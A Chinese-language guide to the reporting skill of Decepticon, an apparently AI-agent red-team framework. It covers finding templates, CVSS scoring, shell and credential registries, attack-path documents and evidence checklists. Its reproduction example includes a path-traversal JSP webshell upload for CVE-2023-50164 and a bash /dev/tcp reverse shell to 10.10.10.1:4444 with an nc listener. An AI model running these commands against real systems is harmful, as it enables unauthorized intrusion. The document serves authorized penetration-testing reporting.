本文以 Decepticon 仓库内 exploit/reporting/SKILL.md 为核心骨架，结合 finding_reporter.py、finding_quality.py、evidence_contract.py 与 cvss.py 等源码，系统讲解一次成功利用（initial access）如何在活动工作区中沉淀为可复现、可评分、可串联成攻击路径的正式发现。

导读

在 Decepticon 红队对抗中，利用（Exploitation）只是第一步——一次未被文档化的 Shell 等于一次未被完成的作战目标。exploit/reporting这一技能（skill）定义了一条严格的产出纪律：每条经验证的利用成功都必须产出一个findings/FIND-{NNN}.md发现文件，并在exploit/shells.json、exploit/creds/initial.json中登记 Shell 与凭据清单，最后交给编排器（orchestrator）经 OPPLAN 工作流完成状态变更与后续授权跟进。读完本文，你将掌握：如何按规范模板撰写可复现的利用发现、如何基于 CVSS v4.0 参考向量与严重度区间打分、如何把多个发现串联为PATH-NNN.md攻击路径文档，以及如何用证据清单与预提交检查清单保证报告质量与可信度。

1. 为什么利用发现必须"文档化到可复现"

exploit/reporting技能开宗明义：利用发现只有在精确到"任何人都能复现访问、理解影响、追溯完整攻击路径"时才对作战有用（SKILL.md）。这背后是 Decepticon 的"证据驱动"（evidence-led）方法：利用阶段必须以侦察观察与委派上下文为依据，并将每一次尝试——无论成败——都记录为带时间戳、带 ATT&CK 技术 ID 的证据轨迹。

在仓库实现中，这一原则被落实为角色与工具约束：

• exploit.md 明确要求 EXPLOIT 代理"为每个经验证被利用的漏洞创建独立的findings/FIND-{NNN}.md"，并只把原始证据写入findings/evidence/；负面结果（negative result）用result_kind: negative_result记录，用于关闭某条攻击路径假设，而不是伪装成漏洞。
• 独立的质量校验代理finding_reporter与finding_verifier会在后续阶段做裁决：exploit 阶段写入的发现初始状态是verification_status: unverified、report_status: draft，最终结论由独立的 finding verifier 给出（exploit.md）。

也就是说：本文描述的模板与规则不是建议，而是 Decepticon 的强制产出契约。

2. 利用发现模板：FIND-NNN.md 的完整结构

2.1 命名与 ID 规范

• 每个经验证成功的利用必须在活动工作区findings/目录下产出FIND-{NNN}.md（如FIND-001.md）。
• 文件名中的编号与 YAML frontmatter 中的id字段（FIND-001、FIND-002…）是规范的交叉引用键；下一个 ID 通过清点已有文件确定。
• 严禁创建占位性发现文件（Do not create placeholder finding files）。

finding_quality.py在机器层面强制了这条约定：其_FINDING_PATH正则^findings/(FIND-\d{3,})\.md$只接受位于findings/下、文件名以FIND-开头且至少三位数字的 Markdown 文件，并且要求 frontmatter 中的id与文件名严格一致（finding_quality.py）。文件名与id不一致会被直接判为校验错误。

2.2 Frontmatter 字段详解

下面是原技能文档给出的完整模板，字段说明与仓库实现逐一对齐：

--- id: FIND-001 severity: CRITICAL cvss_score: 9.3 cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" cwe: CWE-78 mitre: T1190 affected_target: 10.0.1.50 affected_component: "Apache Struts 2.5.30 — /struts2/upload.action" confidence: confirmed objective_id: <server-issued-objective-id> phase: initial-access agent: exploit detected: false remediation_priority: immediate discovered_at: "2026-04-06T14:32:00Z" --- # [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved

从源码看，objective_id必须来源于编排器注入的 OPPLAN 工作流：opplan.py中的OPPLANMiddleware会通过update_objective、list_objectives等工具把服务端下发的目标 ID 注入代理上下文（opplan.py）。因此写发现文件时绝不能自造objective_id。

2.3 正文章节：Description / Steps to Reproduce / Proof of Exploitation

模板正文包含以下核心章节，每章都有明确的纪律要求：

• Description：说明漏洞成因与可利用条件。示例中以 CVE-2023-50164 为例，解释FileUploadInterceptor在写入前未对目标路径做规范化（canonicalize），导致../序列可逃逸出配置的上传目录。
• Steps to Reproduce：必须是逐字复制的真实命令，而不是转述。原文档给出的完整流程如下：

# 1. Confirm the target is running Struts (identified during recon) curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server # 2. Generate the malicious multipart upload request # Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root) curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \ -F "Upload=@/tmp/shell.jsp;type=image/jpeg" \ -F "Upload-Dir=../." \ -o /workspace/target/findings/evidence/FIND-001_upload_response.txt # 3. Confirm shell placement curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \ -o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt # 4. Upgrade to reverse shell curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" & nc -lvnp 4444

注意示例中的两个细节：命令输出直接重定向到findings/evidence/FIND-001_*.txt——这正是证据契约要求的"证据文件按发现 ID 命名并归档"；同时符合 EXPLOIT 代理的硬性规则"任何输出超过约 2KB 的 bash 命令必须先重定向到文件，禁止内联原始输出"（exploit.md）。

• Proof of Exploitation：贴出证明访问成立的原始输出，如whoami（tomcat）、id（uid=52(tomcat)）、hostname、uname -a、ip addr。这些输出既用于证明访问，也是后面证据清单（第 5 节）的硬性要求。

2.4 Access Achieved / Impact / Evidence / Detection Gap Analysis / Remediation

• Access Achieved：用表格登记目标、访问级别、方法、使用的凭据与持久化状态。示例：10.0.1.50:8080 (app01)→ Remote Code Execution (tomcat) → JSP webshell，未使用凭据，持久化为/shell.jsp。
• Impact：从攻击者视角推演后续影响。示例强调 app01 是双网卡主机（外部 10.0.1.0/24 + 内部 10.0.2.0/24），成为进入内网段的跳板，可枚举内部服务、读取含数据库凭据的配置、安装持久化 C2、尝试本地提权。
• Evidence：表格列出证据文件路径与描述。这里必须与第 5 节证据命名规范严格一致：

• Detection Gap Analysis：逐项评估 WAF / IDS-IPS / EDR / SIEM / 文件完整性监控（FIM）等控制是否触发，并总结"是否被检测到"。示例结论是全程未被检测——上传流量混入正常应用流量、/shell.jsp在测试期间持续可访问且无自动化响应。这一节直接服务于 Decepticon 对蓝队检测能力的度量（例如 dwell time / MTTD），detected: false字段也在 frontmatter 中同步记录。
• Remediation：给出有序的修复建议（补丁升级、上传路径规范化、web root 只读、WAF 规则、FIM 监控等），并保留 References 段落记录 CVE、厂商公告、PoC 与 ATT&CK 链接。

2.5 Attack Path Context

模板最后有一段"攻击路径上下文"：说明本发现达成了Initial Access (TA0001) via T1190，双网卡接口为实现Lateral Movement提供了条件，并列出推荐后续动作（枚举内网主机、读取配置凭据、本地提权）。当 2 个及以上发现串联成链时，这一上下文应升级为独立的PATH-NNN.md攻击路径文档（见第 4 节）。

3. 常见利用类型的 CVSS v4.0 参考评分

CVSS v4.0 是本文档的核心评分体系。技能文档强调：参考向量只是起点，应依据实际观测调整补充指标（Automatable、Recovery、Provider Urgency）。

3.1 参考向量表（完整继承）

使用要点：

• 第 2 节的 FIND-001 示例（未认证 RCE，9.3 分）即来自表内第一行；若作用域跨越信任边界，应上调SC/SI/SA（对后续系统的影响）。
• SQLi 只读是 8.7；一旦确认可写、或进一步获得 OS shell，就按 RCE 档位（9.3）计。
• SSRF 到云元数据（IAM 凭据）因波及云环境，SC:H/SI:H抬升到 8.8。

3.2 CVSS 4.0 严重度区间与修复 SLA

3.3 CVSS 4.0 关键指标（相对 3.1 的差异）

理解差异的几个要点：CVSS 4.0 移除了 3.1 的 Scope（S:U/S:C），改为跨系统影响三元组 SC/SI/SA，用于度量对易受影响系统之外系统的影响；新增 **Attack Requirements（AT）**描述"超出攻击者控制的条件"；Automatable、Recovery、Provider Urgency 是补充指标（supplemental），参考向量表并未包含它们，因此按实际观测自行补充。

需要说明的是：仓库内tools/reporting/cvss.py实现的是 CVSS 3.1 官方公式（确定性计算、纯算术、无 I/O），供 finding verifier / reporter 使用——finding_quality.py也要求漏洞类发现必须携带CVSS:3.1/前缀的向量与数值，且分值必须与公式计算结果一致，否则判错（finding_quality.py）。而exploit/reporting技能文档规定 CVSS v4.0 评分。两者并存的原因从源码注释可以推断：cvss.py 文档字符串明确批评了"由 LLM 猜测分数"的旧做法，主张"compute, don't claim"（计算而非声称），并说明cvss_score工具负责把向量算成分数再写进报告。因此在 Decepticon 内，数值必须由工具算出（3.1 落地实现），向量语义按 4.0 参考表构造（技能层规范）——写发现时始终让分值来自确定性计算，而不是模型估计。

4. Shell 与凭据交叉引用：结构化登记

4.1 登记规则

技能文档明确：每个获得的 Shell、捕获的凭据都必须登记进工作的结构化 JSON 文件，并与发现 ID 建立关联。这正好对应 Decepticon 的"Markdown 是交付物、JSON 是运行数据"分工——exploit.md 规定 exploit 阶段每个目标最多产出 3 个输出文件：exploit/shells.json（活跃会话清单）、exploit/creds/initial.json（初始利用捕获的凭据）、外加一份可选的利用笔记文件。

4.2 Shell 条目：exploit/shells.json

{ "shell_id": "SHELL-001", "finding_id": "FIND-001", "target": "10.0.1.50", "hostname": "app01.internal.example.com", "access_level": "user", "user": "tomcat", "uid": 52, "groups": ["tomcat"], "shell_type": "reverse-shell", "method": "JSP webshell via CVE-2023-50164", "listener": "nc -lvnp 4444", "webshell_path": "/opt/tomcat/webapps/ROOT/shell.jsp", "webshell_url": "http://10.0.1.50:8080/shell.jsp", "networks": ["10.0.1.0/24", "10.0.2.0/24"], "os": "Linux 5.15.0-1034-aws x86_64", "obtained_at": "2026-04-06T14:35:00Z", "persistence_status": "webshell", "notes": "Dual-NIC host — pivot point into 10.0.2.0/24 internal segment" }

字段要点：finding_id反向指向FIND-001.md；listener记录反连监听命令；networks记录主机可见网段——这直接支撑第 2.4 节的"跳板"影响评估；persistence_status与模板 Access Achieved 表的持久化状态保持一致。

4.3 凭据条目：exploit/creds/initial.json

{ "cred_id": "CRED-001", "finding_id": "FIND-002", "source_host": "app01.internal.example.com", "source_path": "/opt/tomcat/webapps/struts2/WEB-INF/classes/db.properties", "type": "database", "service": "mysql", "target_host": "10.0.2.10", "target_port": 3306, "username": "appuser", "password": "Str0ngP@ss2024!", "hash": null, "access_level": "application-user", "databases": ["app_production"], "verified": true, "obtained_at": "2026-04-06T14:40:00Z", "notes": "Plaintext credentials in config file on app01" }

注意两个细节：finding_id指向FIND-002（本示例中凭据发现是独立于 RCE 发现的第二条发现）；verified: true表示凭据已通过实际连接验证——这与第 5 节"凭据捕获必须验证可用性"的清单要求一致。

4.4 关联规则（Linking Rule）

• 每个SHELL-NNN条目必须有指向FIND-NNN.md的finding_id；
• 每个CRED-NNN条目必须有指向FIND-NNN.md的finding_id；
• 对应的FIND-NNN.md必须在Evidence表格中列出该 shell/凭据证据路径。

5. 攻击路径文档：多发现串联为 PATH-NNN.md

5.1 何时创建

当多个发现串联起来升级访问权限时，在findings/attack-paths/下创建PATH-NNN.md。技能文档给出的示例PATH-001完整覆盖：frontmatter 含id、name、combined_severity、finding_ids（列表）、created_at；正文含 Attack Path Steps 表、Narrative 叙述、Combined Severity Assessment 评估。

--- id: PATH-001 name: "Unauthenticated External RCE to Internal Database via App Server Pivot" combined_severity: CRITICAL finding_ids: [FIND-001, FIND-002, FIND-003] created_at: "2026-04-06T15:00:00Z" ---

5.2 Attack Path Steps 表

每条链式步骤记录：顺序、阶段、技术、MITRE ID、源、目标、工具、是否被检测、对应发现 ID：

5.3 Narrative 与链式严重度评估

Narrative 用连贯叙述把各发现串成完整故事线：外部未认证 RCE（FIND-001）→ 从 WAR 配置读取明文 MySQL 凭据（FIND-002）→ 以 tomcat 会话为跳板直连内网数据库（FIND-003）。随后做逐级评估：

• FIND-001 单独已是 Critical（CVSS 4.0: 9.3）——面向公网主机的未认证 RCE；
• FIND-002 把代码执行升级为凭据访问，无新增网络暴露；
• FIND-003 把应用层凭据转化为对生产库的直接读写。

链式结果：未认证外部攻击者 → 三步拿到生产库读写，全程零检测。

5.4 链式严重度升级规则（Chain Severity Escalation Rules）

6. 证据收集清单：边打边存，别事后补

技能文档强调：证据必须在利用过程中收集，而不是事后——会话一结束，部分证据就不可恢复。

6.1 每条发现必备

• 逐字复制的真实命令（禁止转述）；
• 证明访问成立的完整命令输出：whoami、id、hostname、ip addr；
• 访问时间戳：在受害主机上执行date -u；
• 网络位置：ip route或netstat -rn。

6.2 分类清单

• Web 利用：原始 HTTP 请求（Burp Suite 导出或curl -v输出）、确认漏洞的原始 HTTP 响应；若为 webshell：URL、HTTP 方法、参数名、payload。
• 凭据捕获：凭据来源文件路径、完整文件内容或相关摘录（存入 evidence/）、凭据可用性验证（连接日志或命令输出）。
• 反连 Shell：完整会话转储（终端日志）、使用的监听命令、回调 IP 与端口、Shell 升级步骤（pty 升级等）。

6.3 证据文件命名规范

FIND-{NNN}_{description}.txt Examples: FIND-001_upload_response.txt # HTTP response from exploit FIND-001_rce_confirm.txt # id/whoami output FIND-001_shell_session.txt # Full shell transcript FIND-001_shell.jsp # Payload file used FIND-002_db_properties.txt # Config file with credentials FIND-003_mysql_dump_partial.txt # DB access proof

所有证据文件统一放入findings/evidence/。

源码佐证：evidence_contract.py把_EVIDENCE_ROOTS固定为("findings/evidence/", "recon/evidence/", "exploit/evidence/", "evidence/")，任何不在这些证据目录内的路径都会被拒绝；同时通过O_NOFOLLOW逐级打开目录描述符来拒绝符号链接逃逸，并要求证据引用必须是规范化的工作区相对路径（不允许..、空白、编码字符），单个文档上限 1 MiB（evidence_contract.py）。finding_quality.py进一步要求：漏洞类发现必须有至少一条已保存的证据引用，且证据文件必须真实存在（evidence_exists检查），缺失即报错（finding_quality.py）。

7. MITRE ATT&CK 利用技术参考

7.1 Initial Access（TA0001）

7.2 Execution（TA0002）

7.3 Persistence（TA0003）——若在初始访问阶段实现，须注明

注意：T1505.003（Web Shell）正是 FIND-001 示例中/shell.jsp持久化方式对应的 ATT&CK 技术，因此要在发现正文中同步标记。

8. 工作区文件布局参考

技能文档给出的完整布局如下（相对路径均以活动工作区为根）：

/workspace/ ├── plan/ │ ├── roe.json │ ├── conops.json │ └── opplan.json ├── exploit/ │ ├── shells.json # All shells obtained (SHELL-NNN entries) │ └── creds/ │ ├── initial.json # All credentials captured (CRED-NNN entries) │ └── credentials.md # Verbatim high-value secrets (written first on capture) ├── findings/ │ ├── FIND-001.md # Finding documents (stable FIND-NNN key; id in frontmatter) │ ├── FIND-002.md │ ├── attack-paths/ │ │ └── PATH-001.md # Multi-finding attack chain documents │ └── evidence/ │ ├── FIND-001_upload_response.txt # Evidence keyed by finding ID │ ├── FIND-001_rce_confirm.txt │ ├── FIND-001_shell.jsp │ └── FIND-002_db_properties.txt └── timeline.jsonl # Append-only activity/finding timeline

几个值得注意的点：

• exploit/creds/credentials.md用于捕获时立即逐字写入高价值机密，initial.json则是结构化登记——两者互补。
• timeline.jsonl是仅追加（append-only）的活动/发现时间线，只有真实事件才写入；engagement-lifecycle/SKILL.md 同样强调"仅在真实事件发生时以时间戳记录"，蓝队检测与响应也作为 MTTD 数据点记入。
• 各 agent 的系统提示词（如 recon.md、postexploit.md）均要求"只为支持某条发现的证据保存原始输出，禁止初始化空占位文件"——目录按需惰性创建。

9. 利用后的 OPPLAN 更新与编排器交接

发现文档化不是终点。技能文档规定：记录完一条发现后，要把objective ID、finding IDs、证据路径、结果摘要、建议的后续工作交回编排器，由编排器审查交接内容，并遵循注入的 OPPLAN 工作流完成状态变更与授权后续工作。

这一交接协议在源码层面有完整实现链：

• orchestration/SKILL.md 定义了子代理交接协议：每次task()委派必须包含 Objective / Scope / Context / Lessons / Acceptance Criteria / Output Location；发现文件只有在真实发现存在时才写入（orchestration/SKILL.md）。
• OPPLANMiddleware（opplan.py）通过get_objective/list_objectives/update_objective等工具注入实时目标状态，update_objective用于更新状态、备注、责任人与结果。
• 交接完成后，还要向findings.txt追加一行摘要：

[2026-04-06T14:35:00Z] FIND-001 CRITICAL — RCE on app01 (10.0.1.50) via CVE-2023-50164 (Struts). Tomcat shell. Dual-NIC pivot into 10.0.2.0/24. Not detected.

这条单行摘要格式可视为timeline.jsonl的人类可读姊妹文件：一行浓缩发现 ID、严重度、目标、方法、会话类型、跳板价值与检测状态。

10. 预提交检查清单：把目标标记为完成前

技能文档在第 9 节给出完整的预提交清单（Pre-Submission Checklist），逐条对照：

• findings/FIND-{NNN}.md发现文件已创建，且所有必需 frontmatter 字段已填写
• CVSS 4.0 分数已计算，向量字符串已包含
• MITRE ATT&CK 技术在 frontmatter 与正文中均已标记
• Steps to Reproduce 完全精确——是实测过的命令，而非转述
• Proof of Exploitation 章节包含whoami/id/hostname输出
• 所有证据文件已按正确命名保存到findings/evidence/
• 若获得 Shell：已在exploit/shells.json添加条目
• 若捕获凭据：已在exploit/creds/initial.json添加条目
• objective ID、finding IDs、证据路径已交回编排器进行 OPPLAN 审查
• 后续工作已提出，并附有前置目标 ID 与范围检查
• 一行摘要已追加到findings.txt
• 若 2 个及以上发现串联，已在findings/attack-paths/创建攻击路径文档

这份清单与finding_reporter子代理的分工完全呼应：finding_reporter的职责是"在工作区findings/FIND-NNN.md中就地完成一条独立裁决的发现——证据支撑的影响、CVSS 评分、复现、限制与修复建议，且绝不创建第二份发现副本"（finding_reporter.py），并挂载cvss_score_tool与check_finding_report质量工具做结构校验（finding_reporter.py）。也就是说：从模板、CVSS 到证据路径，每一步都有机器可校验的契约兜底，而不是依赖模型自觉。

延伸阅读

• exploit 代理系统提示词：EXPLOIT 角色的输出纪律、工作区锚点、证据痕迹规则
• finding-reporter 技能：独立裁决一条发现（verified / unverified / false_positive）的处理规则
• post-exploit/reporting 技能：提权、横向移动、凭据访问阶段的报告模板
• recon/reporting 技能：侦察阶段报告的 CVSS v4.0 评分与移交清单
• finding_quality.py：发现结构校验器（frontmatter、CVSS 数学、章节、证据存在性）
• evidence_contract.py：证据引用校验（路径规范化、目录约束、符号链接拒绝）
• cvss.py：确定性 CVSS 3.1 计算实现